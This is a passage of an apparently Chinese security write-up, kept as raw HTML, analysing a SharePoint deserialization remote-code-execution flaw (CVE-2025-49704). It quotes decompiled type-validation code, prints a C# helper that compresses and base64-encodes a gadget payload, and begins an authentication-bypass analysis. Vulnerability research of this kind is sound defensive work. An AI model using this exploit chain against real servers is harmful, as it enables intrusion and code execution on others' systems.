rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BinarySerialization.Deserialize</span></code><span leaf=""> 进行反序列化：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008604" class="rich_pages wxw-img" data-ratio="0.3679611650485437" data-type="png" data-w="1030" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9b7608ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVickHv6dg8HNQ5JQgmck6nsHSywWB1aqQNkG5nEWAcQtmic1ptNqV1ib2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">需要注意的是，此处的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">binaryFormatter</span></code><span leaf=""> 反序列化进行了类型绑定和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataSetSurrogateSelector</span></code><span leaf=""> 验证。合法可利用的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Type</span></code><span leaf=""> 被限制为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataSet</span></code><span leaf=""> 或者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataTable</span></code><span leaf=""> ，同时 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataSetSurrogateSelector</span></code><span leaf=""> 中涉及的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataType</span></code><span leaf=""> 等取值如果不符合设定也无法通过验证：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008601" class="rich_pages wxw-img" data-ratio="0.2198019801980198" data-type="png" data-w="1010" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3d778490&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaV5ibqHoeXhV3miaYZRj9t4jNRtwNfqYCDndloyEYqLJxBWMxCOoQdmaBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">internal LimitingBinder(IEnumerable&lt;Type&gt; extraTypes)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    this._allowedTypeMap = new TypeMap();</span><span leaf=""><br/></span><span leaf="">    this._allowedTypeMap.Add(typeof(DataSet));</span><span leaf=""><br/></span><span leaf="">    this._allowedTypeMap.Add(typeof(DataTable));</span><span leaf=""><br/></span><span leaf="">    this._allowedTypeMap.Add(typeof(SchemaSerializationMode));</span><span leaf=""><br/></span><span leaf="">    this._allowedTypeMap.Add(typeof(Version));</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">private void ValidateXml(XDocument document)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    foreach (XElement xelement in document.Descendants())</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            this.ValidateTypeIsAllowed(xattribute.Value);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            this.ValidateTypeIsAllowed(xattribute2.Value);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            this.ValidateExpressionIsAllowed(xattribute3.Value);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">// Token: 0x0400002B RID: 43</span><span leaf=""><br/></span><span leaf="">internal static readonly XName MSD_DATATYPE_XName = XName.Get(&#34;DataType&#34;, &#34;urn:schemas-microsoft-com:xml-msdata&#34;);</span><span leaf=""><br/></span><span leaf="">// Token: 0x0400002C RID: 44</span><span leaf=""><br/></span><span leaf="">internal static readonly XName MSD_EXPRESSION_XName = XName.Get(&#34;Expression&#34;, &#34;urn:schemas-microsoft-com:xml-msdata&#34;);</span><span leaf=""><br/></span><span leaf="">// Token: 0x0400002D RID: 45</span><span leaf=""><br/></span><span leaf="">internal static readonly XName MSD_INSTANCETYPE_XName = XName.Get(&#34;InstanceType&#34;, &#34;urn:schemas-microsoft-com:xml-msdata&#34;);</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以构造特定的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> 来满足上述要求，此外还需进行压缩及 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 编码处理，辅助代码如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">using System;</span><span leaf=""><br/></span><span leaf="">using System.IO;</span><span leaf=""><br/></span><span leaf="">using System.IO.Compression;</span><span leaf=""><br/></span><span leaf="">using System.Text;</span><span leaf=""><br/></span><span leaf="">namespace CVE_2025_49704</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    internal class Program</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        public static void Main(string[] args)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            byte[] payload_bytes = File.ReadAllBytes(&#34;gadget.ser&#34;);</span><span leaf=""><br/></span><span leaf="">            byte[] compressedBytes;</span><span leaf=""><br/></span><span leaf="">            using (var memoryStream = new MemoryStream())</span><span leaf=""><br/></span><span leaf="">            {</span><span leaf=""><br/></span><span leaf="">                using (var gzipStream = new GZipStream(memoryStream, CompressionMode.Compress, leaveOpen: true))</span><span leaf=""><br/></span><span leaf="">                {</span><span leaf=""><br/></span><span leaf="">                    gzipStream.Write(payload_bytes, 0, payload_bytes.Length);</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">                </span><span leaf=""><br/></span><span leaf="">                compressedBytes = memoryStream.ToArray();</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">            </span><span leaf=""><br/></span><span leaf="">            string base64Result = Convert.ToBase64String(compressedBytes);</span><span leaf=""><br/></span><span leaf="">            Console.WriteLine(base64Result);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造特定请求即可触发 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008605" class="rich_pages wxw-img" data-ratio="0.4681684622918707" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f30e2de4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVd5yl63zFdEaWGEX2U6vJ32LyhrXDCPmzoWsNhm9Ys8AG7aMXML9WGw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">认证绕过漏洞</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上述漏洞利用过程必须通过认证，完成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf="">后我们再来分析一下这里的认证过程。对于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">这种大型</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebForm</span></code><span leaf="">程序，可以借助日志帮我们快速定位处理代码，在日志中看到了熟悉的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPRequestModule</span></code><span leaf="">类（分析过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Exchange</span></code><span leaf="">历史漏洞应该熟悉这个类），该类继承了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IHttpModule</span></code><span leaf="">接口，功能相当于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Java Filter</span></code><span leaf="">，是一种用于处理</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HTTP</span></code><span leaf=""> 请求和响应的全局拦截机制：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008606" class="rich_pages wxw-img" data-ratio="0.1491442542787286" data-type="png" data-w="818" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=b4566fc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVEWKZtvFbyEa6Q5Z3Y9PfFBsgWiczx1sNQXvqq5mDRmicibcPHELbibmaVw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPRequestModule</span></code><span leaf=""> 类在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, 